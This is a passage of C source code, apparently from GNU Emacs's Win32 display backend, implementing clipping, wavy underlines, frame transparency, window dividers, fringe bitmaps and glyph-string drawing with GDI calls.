= scroll_lines; } static void w32_set_clip_rectangle (HDC hdc, RECT *rect) { if (rect) { HRGN clip_region = CreateRectRgnIndirect (rect); SelectClipRgn (hdc, clip_region); DeleteObject (clip_region); } else SelectClipRgn (hdc, NULL); } /* Restore clipping rectangle in S */ static void w32_restore_glyph_string_clip (struct glyph_string *s) { RECT *r = s->clip; int n = s->num_clips; if (n == 1) w32_set_clip_rectangle (s->hdc, r); else if (n > 1) { HRGN clip1 = CreateRectRgnIndirect (r); HRGN clip2 = CreateRectRgnIndirect (r + 1); if (CombineRgn (clip1, clip1, clip2, RGN_OR) != ERROR) SelectClipRgn (s->hdc, clip1); DeleteObject (clip1); DeleteObject (clip2); } } static void w32_get_scale_factor(struct w32_display_info *dpyinfo, int *scale_x, int *scale_y) { const int base_res = 96; *scale_x = *scale_y = 1; if (dpyinfo) { if (dpyinfo->resx > base_res) *scale_x = floor (dpyinfo->resx / base_res); if (dpyinfo->resy > base_res) *scale_y = floor (dpyinfo->resy / base_res); } } /* Draw a wavy line under S. The wave fills wave_height pixels from y0. x0 wave_length = 2 -- y0 * * * * * |* * * * * * * * * wave_height = 3 | * * * * */ static void w32_draw_underwave (struct glyph_string *s, COLORREF color) { struct w32_display_info *dpyinfo = FRAME_DISPLAY_INFO (s->f); int scale_x, scale_y; w32_get_scale_factor (dpyinfo, &scale_x, &scale_y); int wave_height = 3 * scale_y, wave_length = 2 * scale_x, thickness = scale_y; int dx, dy, x0, y0, width, x1, y1, x2, y2, odd, xmax; Emacs_Rectangle wave_clip, string_clip, final_clip; RECT w32_final_clip, w32_string_clip; HPEN hp, oldhp; dx = wave_length; dy = wave_height - 1; x0 = s->x; y0 = s->ybase + wave_height / 2 - scale_y; width = s->width; xmax = x0 + width; /* Find and set clipping rectangle */ wave_clip.x = x0; wave_clip.y = y0; wave_clip.width = width; wave_clip.height = wave_height; get_glyph_string_clip_rect (s, &w32_string_clip); CONVERT_TO_EMACS_RECT (string_clip, w32_string_clip); if (!gui_intersect_rectangles (&wave_clip, &string_clip, &final_clip)) return; hp = CreatePen (PS_SOLID, thickness, color); oldhp = SelectObject (s->hdc, hp); CONVERT_FROM_EMACS_RECT (final_clip, w32_final_clip); w32_set_clip_rectangle (s->hdc, &w32_final_clip); /* Draw the waves */ x1 = x0 - (x0 % dx); x2 = x1 + dx; odd = (x1/dx) % 2; y1 = y2 = y0; if (odd) y1 += dy; else y2 += dy; MoveToEx (s->hdc, x1, y1, NULL); while (x1 <= xmax) { LineTo (s->hdc, x2, y2); x1 = x2, y1 = y2; x2 += dx, y2 = y0 + odd*dy; odd = !odd; } /* Restore previous pen and clipping rectangle(s) */ w32_restore_glyph_string_clip (s); SelectObject (s->hdc, oldhp); DeleteObject (hp); } /* Draw a hollow rectangle at the specified position. */ static void w32_draw_rectangle (HDC hdc, Emacs_GC *gc, int x, int y, int width, int height) { HBRUSH hb, oldhb; HPEN hp, oldhp; hb = CreateSolidBrush (gc->background); hp = CreatePen (PS_SOLID, 0, gc->foreground); oldhb = SelectObject (hdc, hb); oldhp = SelectObject (hdc, hp); /* We enlarge WIDTH and HEIGHT by 1 to be bug-compatible to the brain-dead design of XDrawRectangle, which draws a rectangle that is 1 pixel wider and higher than its arguments WIDTH and HEIGHT. This allows us to keep the code that calls this function similar to the corresponding code in xterm.c. For the details, see https://lists.gnu.org/r/emacs-devel/2014-10/msg00546.html. */ Rectangle (hdc, x, y, x + width + 1, y + height + 1); SelectObject (hdc, oldhb); SelectObject (hdc, oldhp); DeleteObject (hb); DeleteObject (hp); } /* Draw a filled rectangle at the specified position. */ void w32_fill_rect (struct frame *f, HDC hdc, COLORREF pix, RECT *lprect) { HBRUSH hb; hb = CreateSolidBrush (pix); FillRect (hdc, lprect, hb); DeleteObject (hb); } void w32_clear_window (struct frame *f) { RECT rect; HDC hdc = get_frame_dc (f); /* Under certain conditions, this can be called at startup with a console frame pointer before the GUI frame is created. An HDC of 0 indicates this. */ if (hdc) { GetClientRect (FRAME_W32_WINDOW (f), &rect); w32_clear_rect (f, hdc, &rect); } release_frame_dc (f, hdc); } #define OPAQUE_FRAME 255 static void w32_set_frame_alpha (struct frame *f) { struct w32_display_info *dpyinfo = FRAME_DISPLAY_INFO (f); double alpha = 1.0; double alpha_min = 1.0; BYTE opac; LONG ex_style; HWND window = FRAME_W32_WINDOW (f); /* Older versions of Windows do not support transparency. */ if (!pfnSetLayeredWindowAttributes) return; if (dpyinfo->w32_focus_frame == f) alpha = f->alpha[0]; else alpha = f->alpha[1]; if (FLOATP (Vframe_alpha_lower_limit)) alpha_min = XFLOAT_DATA (Vframe_alpha_lower_limit); else if (FIXNUMP (Vframe_alpha_lower_limit)) alpha_min = (XFIXNUM (Vframe_alpha_lower_limit)) / 100.0; if (alpha < 0.0) return; else if (alpha > 1.0) alpha = 1.0; else if (alpha < alpha_min && alpha_min <= 1.0) alpha = alpha_min; opac = alpha * OPAQUE_FRAME; ex_style = GetWindowLong (window, GWL_EXSTYLE); if (opac == OPAQUE_FRAME) ex_style &= ~WS_EX_LAYERED; else ex_style |= WS_EX_LAYERED; SetWindowLong (window, GWL_EXSTYLE, ex_style); if (opac != OPAQUE_FRAME) pfnSetLayeredWindowAttributes (window, 0, opac, LWA_ALPHA); } int w32_display_pixel_height (struct w32_display_info *dpyinfo) { int pixels = GetSystemMetrics (SM_CYVIRTUALSCREEN); if (pixels == 0) /* Fallback for Windows 95 or NT 4.0. */ pixels = GetSystemMetrics (SM_CYSCREEN); return pixels; } int w32_display_pixel_width (struct w32_display_info *dpyinfo) { int pixels = GetSystemMetrics (SM_CXVIRTUALSCREEN); if (pixels == 0) /* Fallback for Windows 95 or NT 4.0. */ pixels = GetSystemMetrics (SM_CXSCREEN); return pixels; } /*********************************************************************** Starting and ending an update ***********************************************************************/ /* Start an update of frame F. This function is installed as a hook for update_begin, i.e. it is called when update_begin is called. This function is called prior to calls to gui_update_window_begin for each window being updated. */ static void w32_update_begin (struct frame *f) { struct w32_display_info *display_info = FRAME_DISPLAY_INFO (f); if (! FRAME_W32_P (f)) return; /* Regenerate display palette before drawing if list of requested colors has changed. */ if (display_info->regen_palette) { w32_regenerate_palette (f); display_info->regen_palette = FALSE; } } /* Start update of window W. */ static void w32_update_window_begin (struct window *w) { /* Hide the system caret during an update. */ if (w32_use_visible_system_caret && w32_system_caret_hwnd && w == w32_system_caret_window) { SendMessageTimeout (w32_system_caret_hwnd, WM_EMACS_HIDE_CARET, 0, 0, 0, 6000, NULL); } } /* Draw a vertical window border from (x,y0) to (x,y1) */ static void w32_draw_vertical_window_border (struct window *w, int x, int y0, int y1) { struct frame *f = XFRAME (WINDOW_FRAME (w)); RECT r; HDC hdc; struct face *face; r.left = x; r.right = x + 1; r.top = y0; r.bottom = y1; hdc = get_frame_dc (f); face = FACE_FROM_ID_OR_NULL (f, VERTICAL_BORDER_FACE_ID); if (face) w32_fill_rect (f, hdc, face->foreground, &r); else w32_fill_rect (f, hdc, FRAME_FOREGROUND_PIXEL (f), &r); release_frame_dc (f, hdc); } /* Draw a window divider from (x0, y0) to (x1, y1) */ static void w32_draw_window_divider (struct window *w, int x0, int x1, int y0, int y1) { struct frame *f = XFRAME (WINDOW_FRAME (w)); HDC hdc = get_frame_dc (f); struct face *face = FACE_FROM_ID_OR_NULL (f, WINDOW_DIVIDER_FACE_ID); struct face *face_first = FACE_FROM_ID_OR_NULL (f, WINDOW_DIVIDER_FIRST_PIXEL_FACE_ID); struct face *face_last = FACE_FROM_ID_OR_NULL (f, WINDOW_DIVIDER_LAST_PIXEL_FACE_ID); unsigned long color = face ? face->foreground : FRAME_FOREGROUND_PIXEL (f); unsigned long color_first = (face_first ? face_first->foreground : FRAME_FOREGROUND_PIXEL (f)); unsigned long color_last = (face_last ? face_last->foreground : FRAME_FOREGROUND_PIXEL (f)); if ((y1 - y0 > x1 - x0) && (x1 - x0 >= 3)) /* A vertical divider, at least three pixels wide: Draw first and last pixels differently. */ { w32_fill_area_abs (f, hdc, color_first, x0, y0, x0 + 1, y1); w32_fill_area_abs (f, hdc, color, x0 + 1, y0, x1 - 1, y1); w32_fill_area_abs (f, hdc, color_last, x1 - 1, y0, x1, y1); } else if ((x1 - x0 > y1 - y0) && (y1 - y0 >= 3)) /* A horizontal divider, at least three pixels high: Draw first and last pixels differently. */ { w32_fill_area_abs (f, hdc, color_first, x0, y0, x1, y0 + 1); w32_fill_area_abs (f, hdc, color, x0, y0 + 1, x1, y1 - 1); w32_fill_area_abs (f, hdc, color_last, x0, y1 - 1, x1, y1); } else /* In any other case do not draw the first and last pixels differently. */ w32_fill_area_abs (f, hdc, color, x0, y0, x1, y1); release_frame_dc (f, hdc); } /* End update of window W. Draw vertical borders between horizontally adjacent windows, and display W's cursor if CURSOR_ON_P is non-zero. MOUSE_FACE_OVERWRITTEN_P non-zero means that some row containing glyphs in mouse-face were overwritten. In that case we have to make sure that the mouse-highlight is properly redrawn. W may be a menu bar pseudo-window in case we don't have X toolkit support. Such windows don't have a cursor, so don't display it here. */ static void w32_update_window_end (struct window *w, bool cursor_on_p, bool mouse_face_overwritten_p) { /* Unhide the caret. This won't actually show the cursor, unless it was visible before the corresponding call to HideCaret in w32_update_window_begin. */ if (w32_use_visible_system_caret && w32_system_caret_hwnd && w == w32_system_caret_window) { SendMessageTimeout (w32_system_caret_hwnd, WM_EMACS_SHOW_CARET, 0, 0, 0, 6000, NULL); } } /* End update of frame F. This function is installed as a hook in update_end. */ static void w32_update_end (struct frame *f) { if (! FRAME_W32_P (f)) return; /* Mouse highlight may be displayed again. */ MOUSE_HL_INFO (f)->mouse_face_defer = false; } /* This function is called from various places in xdisp.c whenever a complete update has been performed. */ static void w32_frame_up_to_date (struct frame *f) { if (FRAME_W32_P (f)) FRAME_MOUSE_UPDATE (f); } /* Draw truncation mark bitmaps, continuation mark bitmaps, overlay arrow bitmaps, or clear the fringes if no bitmaps are required before DESIRED_ROW is made current. This function is called from update_window_line only if it is known that there are differences between bitmaps to be drawn between current row and DESIRED_ROW. */ static void w32_after_update_window_line (struct window *w, struct glyph_row *desired_row) { struct frame *f; int width, height; eassert (w); if (!desired_row->mode_line_p && !w->pseudo_window_p) desired_row->redraw_fringe_bitmaps_p = true; /* When a window has disappeared, make sure that no rest of full-width rows stays visible in the internal border. Could check here if updated window is the leftmost/rightmost window, but I guess it's not worth doing since vertically split windows are almost never used, internal border is rarely set, and the overhead is very small. */ if (windows_or_buffers_changed && desired_row->full_width_p && (f = XFRAME (w->frame), width = FRAME_INTERNAL_BORDER_WIDTH (f), width != 0) && (height = desired_row->visible_height, height > 0)) { int y = WINDOW_TO_FRAME_PIXEL_Y (w, max (0, desired_row->y)); int face_id = !NILP (Vface_remapping_alist) ? lookup_basic_face (NULL, f, INTERNAL_BORDER_FACE_ID) : INTERNAL_BORDER_FACE_ID; struct face *face = FACE_FROM_ID_OR_NULL (f, face_id); block_input (); HDC hdc = get_frame_dc (f); if (face) { /* Fill border with internal border face. */ unsigned long color = face->background; w32_fill_area (f, hdc, color, 0, y, width, height); w32_fill_area (f, hdc, color, FRAME_PIXEL_WIDTH (f) - width, y, width, height); } else { w32_clear_area (f, hdc, 0, y, width, height); w32_clear_area (f, hdc, FRAME_PIXEL_WIDTH (f) - width, y, width, height); } release_frame_dc (f, hdc); unblock_input (); } } /* Draw the bitmap WHICH in one of the left or right fringes of window W. ROW is the glyph row for which to display the bitmap; it determines the vertical position at which the bitmap has to be drawn. */ static void w32_draw_fringe_bitmap (struct window *w, struct glyph_row *row, struct draw_fringe_bitmap_params *p) { struct frame *f = XFRAME (WINDOW_FRAME (w)); HDC hdc; struct face *face = p->face; hdc = get_frame_dc (f); /* Must clip because of partially visible lines. */ w32_clip_to_row (w, row, ANY_AREA, hdc); if (p->bx >= 0 && !p->overlay_p) w32_fill_area (f, hdc, face->background, p->bx, p->by, p->nx, p->ny); if (p->which && p->which < max_fringe_bmp) { HBITMAP pixmap = fringe_bmp[p->which]; HDC compat_hdc; HANDLE horig_obj; compat_hdc = CreateCompatibleDC (hdc); SaveDC (hdc); horig_obj = SelectObject (compat_hdc, pixmap); /* Paint overlays transparently. */ if (p->overlay_p) { HBRUSH h_brush, h_orig_brush; SetTextColor (hdc, BLACK_PIX_DEFAULT (f)); SetBkColor (hdc, WHITE_PIX_DEFAULT (f)); h_brush = CreateSolidBrush (face->foreground); h_orig_brush = SelectObject (hdc, h_brush); BitBlt (hdc, p->x, p->y, p->wd, p->h, compat_hdc, 0, p->dh, DSTINVERT); BitBlt (hdc, p->x, p->y, p->wd, p->h, compat_hdc, 0, p->dh, 0x2E064A); BitBlt (hdc, p->x, p->y, p->wd, p->h, compat_hdc, 0, p->dh, DSTINVERT); SelectObject (hdc, h_orig_brush); DeleteObject (h_brush); } else { SetTextColor (hdc, face->background); SetBkColor (hdc, (p->cursor_p ? f->output_data.w32->cursor_pixel : face->foreground)); BitBlt (hdc, p->x, p->y, p->wd, p->h, compat_hdc, 0, p->dh, SRCCOPY); } SelectObject (compat_hdc, horig_obj); DeleteDC (compat_hdc); RestoreDC (hdc, -1); } w32_set_clip_rectangle (hdc, NULL); release_frame_dc (f, hdc); } static void w32_define_fringe_bitmap (int which, unsigned short *bits, int h, int wd) { if (which >= max_fringe_bmp) { int i = max_fringe_bmp; max_fringe_bmp = which + 20; fringe_bmp = (HBITMAP *) xrealloc (fringe_bmp, max_fringe_bmp * sizeof (HBITMAP)); while (i < max_fringe_bmp) fringe_bmp[i++] = 0; } fringe_bmp[which] = CreateBitmap (wd, h, 1, 1, bits); } static void w32_destroy_fringe_bitmap (int which) { if (which >= max_fringe_bmp) return; if (fringe_bmp[which]) DeleteObject (fringe_bmp[which]); fringe_bmp[which] = 0; } /*********************************************************************** Display Iterator ***********************************************************************/ /* Function prototypes of this page. */ static void w32_set_glyph_string_clipping (struct glyph_string *); static void w32_set_glyph_string_gc (struct glyph_string *); static void w32_draw_glyph_string_background (struct glyph_string *, bool); static void w32_draw_glyph_string_foreground (struct glyph_string *); static void w32_draw_composite_glyph_string_foreground (struct glyph_string *); static void w32_draw_glyph_string_box (struct glyph_string *); static void w32_draw_glyph_string (struct glyph_string *); static void w32_set_cursor_gc (struct glyph_string *); static void w32_set_mode_line_face_gc (struct glyph_string *); static void w32_set_mouse_face_gc (struct glyph_string *); static int w32_alloc_lighter_color (struct frame *, COLORREF *, double, int); static void w32_setup_relief_color (struct frame *, struct relief *, double, int, COLORREF); static void w32_setup_relief_colors (struct glyph_string *); static void w32_draw_image_glyph_string (struct glyph_string *); static void w32_draw_image_relief (struct glyph_string *); static void w32_draw_image_foreground (struct glyph_string *); static void w32_draw_image_foreground_1 (struct glyph_string *, HBITMAP); static void w32_clear_glyph_string_rect (struct glyph_string *, int, int, int, int); static void w32_draw_relief_rect (struct frame *, int, int, int, int, int, int, int, int, int, int, int, RECT *); static void w32_draw_box_rect (struct glyph_string *, int, int, int, int, int, int, bool, bool, RECT *); /* Set S->gc to a suitable GC for drawing glyph string S in cursor face. */ static void w32_set_cursor_gc (struct glyph_string *s) { if (s->font == FRAME_FONT (s->f) && s->face->background == FRAME_BACKGROUND_PIXEL (s->f) && s->face->foreground == FRAME_FOREGROUND_PIXEL (s->f) /* Sometimes we are not called for each change in the default face's background color (e.g., bug#26851), so the additional test in the next line gives us a chance to resync. */ && s->f->output_data.w32->cursor_gc->foreground == s->face->background && !s->cmp) s->gc = s->f->output_data.w32->cursor_gc; else { /* Cursor on non-default face: must merge. */ Emacs_GC egc; unsigned long mask; egc.background = s->f->output_data.w32->cursor_pixel; egc.foreground = s->face->background; /* If the glyph would be invisible, try a different foreground. */ if (egc.foreground == egc.background) egc.foreground = s->face->foreground; if (egc.foreground == egc.background) egc.foreground = s->f->output_data.w32->cursor_foreground_pixel; if (egc.foreground == egc.background) egc.foreground = s->face->foreground; /* Make sure the cursor is distinct from text in this face. */ if (egc.background == s->face->background && egc.foreground == s->face->foreground) { egc.background = s->face->foreground; egc.foreground = s->face->background; } IF_DEBUG (w32_check_font (s->f, s->font)); mask = GCForeground | GCBackground; if (FRAME_DISPLAY_INFO (s->f)->scratch_cursor_gc) XChangeGC (NULL, FRAME_DISPLAY_INFO (s->f)->scratch_cursor_gc, mask, &egc); else FRAME_DISPLAY_INFO (s->f)->scratch_cursor_gc = XCreateGC (NULL, FRAME_W32_WINDOW (s->f), mask, &egc); s->gc = FRAME_DISPLAY_INFO (s->f)->scratch_cursor_gc; } } /* Set up S->gc of glyph string S for drawing text in mouse face. */ static void w32_set_mouse_face_gc (struct glyph_string *s) { /* If font in this face is same as S->font, use it. */ if (s->font == s->face->font) s->gc = s->face->gc; else { /* Otherwise construct scratch_cursor_gc with values from FACE but font FONT. */ Emacs_GC egc; unsigned long mask; egc.background = s->face->background; egc.foreground = s->face->foreground; IF_DEBUG (w32_check_font (s->f, s->font)); mask = GCForeground | GCBackground; if (FRAME_DISPLAY_INFO (s->f)->scratch_cursor_gc) XChangeGC (NULL, FRAME_DISPLAY_INFO (s->f)->scratch_cursor_gc, mask, &egc); else FRAME_DISPLAY_INFO (s->f)->scratch_cursor_gc = XCreateGC (NULL, FRAME_W32_WINDOW (s->f), mask, &egc); s->gc = FRAME_DISPLAY_INFO (s->f)->scratch_cursor_gc; } eassert (s->gc != 0); } /* Set S->gc of glyph string S to a GC suitable for drawing a mode line. Faces to use in the mode line have already been computed when the matrix was built, so there isn't much to do, here. */ static inline void w32_set_mode_line_face_gc (struct glyph_string *s) { s->gc = s->face->gc; } /* Set S->gc of glyph string S for drawing that glyph string. Set S->stippled_p to a non-zero value if the face of S has a stipple pattern. */ static inline void w32_set_glyph_string_gc (struct glyph_string *s) { prepare_face_for_display (s->f, s->face); if (s->hl == DRAW_NORMAL_TEXT) { s->gc = s->face->gc; s->stippled_p = s->face->stipple != 0; } else if (s->hl == DRAW_INVERSE_VIDEO) { w32_set_mode_line_face_gc (s); s->stippled_p = s->face->stipple != 0; } else if (s->hl == DRAW_CURSOR) { w32_set_cursor_gc (s); s->stippled_p = false; } else if (s->hl == DRAW_MOUSE_FACE) { w32_set_mouse_face_gc (s); s->stippled_p = s->face->stipple != 0; } else if (s->hl == DRAW_IMAGE_RAISED || s->hl == DRAW_IMAGE_SUNKEN) { s->gc = s->face->gc; s->stippled_p = s->face->stipple != 0; } else emacs_abort (); /* GC must have been set. */ eassert (s->gc != 0); } /* Set clipping for output of glyph string S. S may be part of a mode line or menu if we don't have X toolkit support. */ static inline void w32_set_glyph_string_clipping (struct glyph_string *s) { RECT *r = s->clip; int n = get_glyph_string_clip_rects (s, r, 2); if (n == 1) w32_set_clip_rectangle (s->hdc, r); else if (n > 1) { HRGN clip1 = CreateRectRgnIndirect (r); HRGN clip2 = CreateRectRgnIndirect (r + 1); if (CombineRgn (clip1, clip1, clip2, RGN_OR) != ERROR) SelectClipRgn (s->hdc, clip1); DeleteObject (clip1); DeleteObject (clip2); } s->num_clips = n; } /* Set SRC's clipping for output of glyph string DST. This is called when we are drawing DST's left_overhang or right_overhang only in the area of SRC. */ static void w32_set_glyph_string_clipping_exactly (struct glyph_string *src, struct glyph_string *dst) { RECT r; r.left = src->x; r.right = r.left + src->width; r.top = src->y; r.bottom = r.top + src->height; dst->clip[0] = r; dst->num_clips = 1; w32_set_clip_rectangle (dst->hdc, &r); } /* RIF: Compute left and right overhang of glyph string S. */ static void w32_compute_glyph_string_overhangs (struct glyph_string *s) { if (s->cmp == NULL) { struct font_metrics metrics; if (s->first_glyph->type == CHAR_GLYPH && !s->font_not_found_p) { struct font *font = s->font; font->driver->text_extents (font, s->char2b, s->nchars, &metrics); s->right_overhang = (metrics.rbearing > metrics.width ? metrics.rbearing - metrics.width : 0); s->left_overhang = metrics.lbearing < 0 ? -metrics.lbearing : 0; } else if (s->first_glyph->type == COMPOSITE_GLYPH) { Lisp_Object gstring = composition_gstring_from_id (s->cmp_id); composition_gstring_width (gstring, s->cmp_from, s->cmp_to, &metrics); s->right_overhang = (metrics.rbearing > metrics.width ? metrics.rbearing - metrics.width : 0); s->left_overhang = metrics.lbearing < 0 ? -metrics.lbearing : 0; } } else { s->right_overhang = s->cmp->rbearing - s->cmp->pixel_width; s->left_overhang = -s->cmp->lbearing; } } /* Fill rectangle X, Y, W, H with background color of glyph string S. */ static inline void w32_clear_glyph_string_rect (struct glyph_string *s, int x, int y, int w, int h) { int real_x = x; int real_y = y; int real_w = w; int real_h = h; #if 0 /* Take clipping into account. */ if (s->gc->clip_mask == Rect) { real_x = max (real_x, s->gc->clip_rectangle.left); real_y = max (real_y, s->gc->clip_rectangle.top); real_w = min (real_w, s->gc->clip_rectangle.right - s->gc->clip_rectangle.left); real_h = min (real_h, s->gc->clip_rectangle.bottom - s->gc->clip_rectangle.top); } #endif w32_fill_area (s->f, s->hdc, s->gc->background, real_x, real_y, real_w, real_h); } /* Draw the background of glyph_string S. If S->background_filled_p is non-zero don't draw it. FORCE_P non-zero means draw the background even if it wouldn't be drawn normally. This is used when a string preceding S draws into the background of S, or S contains the first component of a composition. */ static void w32_draw_glyph_string_background (struct glyph_string *s, bool force_p) { /* Nothing to do if background has already been drawn or if it shouldn't be drawn in the first place. */ if (!s->background_filled_p) { int box_line_width = max (s->face->box_horizontal_line_width, 0); #if 0 /* TODO: stipple */ if (s->stippled_p) { /* Fill background with a stipple pattern. */ XSetFillStyle (s->display, s->gc, FillOpaqueStippled); XFillRectangle (s->display, FRAME_W32_WINDOW (s->f), s->gc, s->x, s->y + box_line_width, s->background_width, s->height - 2 * box_line_width); XSetFillStyle (s->display, s->gc, FillSolid); s->background_filled_p = true; } else #endif if (FONT_HEIGHT (s->font) < s->height - 2 * box_line_width /* When xdisp.c ignores FONT_HEIGHT, we cannot trust font dimensions, since the actual glyphs might be much smaller. So in that case we always clear the rectangle with background color. */ || FONT_TOO_HIGH (s->font) || s->font_not_found_p || s->extends_to_end_of_line_p || force_p) { w32_clear_glyph_string_rect (s, s->x, s->y + box_line_width, s->background_width, s->height - 2 * box_line_width); s->background_filled_p = true; } } } /* Draw the foreground of glyph string S. */ static void w32_draw_glyph_string_foreground (struct glyph_string *s) { int i, x; /* If first glyph of S has a left box line, start drawing the text of S to the right of that box line. */ if (s->face->box != FACE_NO_BOX && s->first_glyph->left_box_line_p) x = s->x + max (s->face->box_vertical_line_width, 0); else x = s->x; SetTextColor (s->hdc, s->gc->foreground); SetBkColor (s->hdc, s->gc->background); SetTextAlign (s->hdc, TA_BASELINE | TA_LEFT); /* Draw characters of S as rectangles if S's font could not be loaded. */ if (s->font_not_found_p) { for (i = 0; i < s->nchars; ++i) { struct glyph *g = s->first_glyph + i; w32_draw_rectangle (s->hdc, s->gc, x, s->y, g->pixel_width - 1, s->height - 1); x += g->pixel_width; } } else { struct font *font = s->font; int boff = font->baseline_offset; int y; HFONT old_font; old_font = SelectObject (s->hdc, FONT_HANDLE (font)); if (font->vertical_centering) boff = VCENTER_BASELINE_OFFSET (font, s->f) - boff; y = s->ybase - boff; if (s->for_overlaps || (s->background_filled_p && s->hl != DRAW_CURSOR)) font->driver->draw (s, 0, s->nchars, x, y, false); else font->driver->draw (s, 0, s->nchars, x, y, true); if (s->face->overstrike) font->driver->draw (s, 0, s->nchars, x + 1, y, false); SelectObject (s->hdc, old_font); } } /* Draw the foreground of composite glyph string S. */ static void w32_draw_composite_glyph_string_foreground (struct glyph_string *s) { int i, j, x; struct font *font = s->font; /* If first glyph of S has a left box line, start drawing the text of S to the right of that box line. */ if (s->face && s->face->box != FACE_NO_BOX && s->first_glyph->left_box_line_p) x = s->x + max (s->face->box_vertical_line_width, 0); else x = s->x; /* S is a glyph string for a composition. S->cmp_from is the index of the first character drawn for glyphs of this composition. S->cmp_from == 0 means we are drawing the very first character of this composition. */ SetTextColor (s->hdc, s->gc->foreground); SetBkColor (s->hdc, s->gc->background); SetTextAlign (s->hdc, TA_BASELINE | TA_LEFT); /* Draw a rectangle for the composition if the font for the very first character of the composition could not be loaded. */ if (s->font_not_found_p) { if (s->cmp_from == 0) w32_draw_rectangle (s->hdc, s->gc, x, s->y, s->width - 1, s->height - 1); } else if (! s->first_glyph->u.cmp.automatic) { int y = s->ybase; HFONT old_font; old_font = SelectObject (s->hdc, FONT_HANDLE (font)); for (i = 0, j = s->cmp_from; i < s->nchars; i++, j++) /* TAB in a composition means display glyphs with padding space on the left or right. */ if (COMPOSITION_GLYPH (s->cmp, j) != '\t') { int xx = x + s->cmp->offsets[j * 2]; int yy = y - s->cmp->offsets[j * 2 + 1]; font->driver->draw (s, j, j + 1, xx, yy, false); if (s->face->overstrike) font->driver->draw (s, j, j + 1, xx + 1, yy, false); } SelectObject (s->hdc, old_font); } else { Lisp_Object gstring = composition_gstring_from_id (s->cmp_id); Lisp_Object glyph; int y = s->ybase; int width = 0; HFONT old_font; old_font = SelectObject (s->hdc, FONT_HANDLE (font)); for (i = j = s->cmp_from; i < s->cmp_to; i++) { glyph = LGSTRING_GLYPH (gstring, i); if (NILP (LGLYPH_ADJUSTMENT (glyph))) width += LGLYPH_WIDTH (glyph); else { int xoff, yoff, wadjust; if (j < i) { font->driver->draw (s, j, i, x, y, false); x += width; } xoff = LGLYPH_XOFF (glyph); yoff = LGLYPH_YOFF (glyph); wadjust = LGLYPH_WADJUST (glyph); font->driver->draw (s, i, i + 1, x + xoff, y + yoff, false); x += wadjust; j = i + 1; width = 0; } } if (j < i) font->driver->draw (s, j, i, x, y, false); SelectObject (s->hdc, old_font); } } /* Draw the foreground of glyph string S for glyphless characters. */ static void w32_draw_glyphless_glyph_string_foreground (struct glyph_string *s) { struct glyph *glyph = s->first_glyph; unsigned char2b[8]; int x, i, j; bool with_background; /* If first glyph of S has a left box line, start drawing the text of S to the right of that box line. */ if (s->face->box != FACE_NO_BOX && s->first_glyph->left_box_line_p) x = s->x + max (s->face->box_vertical_line_width, 0); else x = s->x; SetTextColor (s->hdc, s->gc->foreground); SetBkColor (s->hdc, s->gc->background); SetTextAlign (s->hdc, TA_BASELINE | TA_LEFT); s->char2b = char2b; with_background = ((s->for_overlaps || (s->background_filled_p && s->hl != DRAW_CURSOR))) == 0; for (i = 0; i < s->nchars; i++, glyph++) { char buf[7], *str = NULL; int len = glyph->u.glyphless.len; if (glyph->u.glyphless.method == GLYPHLESS_DISPLAY_ACRONYM) { if (len > 0 && CHAR_TABLE_P (Vglyphless_char_display) && (CHAR_TABLE_EXTRA_SLOTS (XCHAR_TABLE (Vglyphless_char_display)) >= 1)) { Lisp_Object acronym = (! glyph->u.glyphless.for_no_font ? CHAR_TABLE_REF (Vglyphless_char_display, glyph->u.glyphless.ch) : XCHAR_TABLE (Vglyphless_char_display)->extras[0]); if (STRINGP (acronym)) str = SSDATA (acronym); } } else if (glyph->u.glyphless.method == GLYPHLESS_DISPLAY_HEX_CODE) { sprintf ((char *) buf, "%0*X", glyph->u.glyphless.ch < 0x10000 ? 4 : 6, (unsigned int) glyph->u.glyphless.ch & 0xffffff); str = buf; } if (glyph->u.glyphless.method != GLYPHLESS_DISPLAY_THIN_SPACE) w32_draw_rectangle (s->hdc, s->gc, x, s->ybase - glyph->ascent, glyph->pixel_width - 1, glyph->ascent + glyph->descent - 1); if (str) { struct font *font = s->font; int upper_len = (len + 1) / 2; HFONT old_font; old_font = SelectObject (s->hdc, FONT_HANDLE (font)); /* It is certain that all LEN characters in STR are ASCII. */ for (j = 0; j < len; j++) char2b[j] = font->driver->encode_char (font, str[j]) & 0xFFFF; font->driver->draw (s, 0, upper_len, x + glyph->slice.glyphless.upper_xoff, s->ybase + glyph->slice.glyphless.upper_yoff, with_background); font->driver->draw (s, upper_len, len, x + glyph->slice.glyphless.lower_xoff, s->ybase + glyph->slice.glyphless.lower_yoff, with_background); SelectObject (s->hdc, old_font); } x += glyph->pixel_width; } } /* Brightness beyond which a color won't have its highlight brightness boosted. Nominally, highlight colors for `3d' faces are calculated by brightening an object's color by a constant scale factor, but this doesn't yield good results for dark colors, so for colors whose brightness is less than this value (on a scale of 0-255) have to use an additional additive factor. The value here is set so that the default menu-bar/mode-line color (grey75) will not have its highlights changed at all. */ #define HIGHLIGHT_COLOR_DARK_BOOST_LIMIT 187 /* Allocate a color which is lighter or darker than *COLOR by FACTOR or DELTA. Try a color with RGB values multiplied by FACTOR first. If this produces the same color as COLOR, try a color where all RGB values have DELTA added. Return the allocated color in *COLOR. DISPLAY is the X display, CMAP is the colormap to operate on. Value is non-zero if successful. */ static int w32_alloc_lighter_color (struct frame *f, COLORREF *color, double factor, int delta) { COLORREF new; long bright; /* On Windows, RGB values are 0-255, not 0-65535, so scale delta. */ delta /= 256; /* Change RGB values by specified FACTOR. Avoid overflow! */ eassert (factor >= 0); new = PALETTERGB (min (0xff, factor * GetRValue (*color)), min (0xff, factor * GetGValue (*color)), min (0xff, factor * GetBValue (*color))); /* Calculate brightness of COLOR. */ bright = (2 * GetRValue (*color) + 3 * GetGValue (*color) + GetBValue (*color)) / 6; /* We only boost colors that are darker than HIGHLIGHT_COLOR_DARK_BOOST_LIMIT. */ if (bright < HIGHLIGHT_COLOR_DARK_BOOST_LIMIT) /* Make an additive adjustment to NEW, because it's dark enough so that scaling by FACTOR alone isn't enough. */ { /* How far below the limit this color is (0 - 1, 1 being darker). */ double dimness = 1 - (double)bright / HIGHLIGHT_COLOR_DARK_BOOST_LIMIT; /* The additive adjustment. */ int min_delta = delta * dimness * factor / 2; if (factor < 1) new = PALETTERGB (max (0, min (0xff, min_delta - GetRValue (*color))), max (0, min (0xff, min_delta - GetGValue (*color))), max (0, min (0xff, min_delta - GetBValue (*color)))); else new = PALETTERGB (max (0, min (0xff, min_delta + GetRValue (*color))), max (0, min (0xff, min_delta + GetGValue (*color))), max (0, min (0xff, min_delta + GetBValue 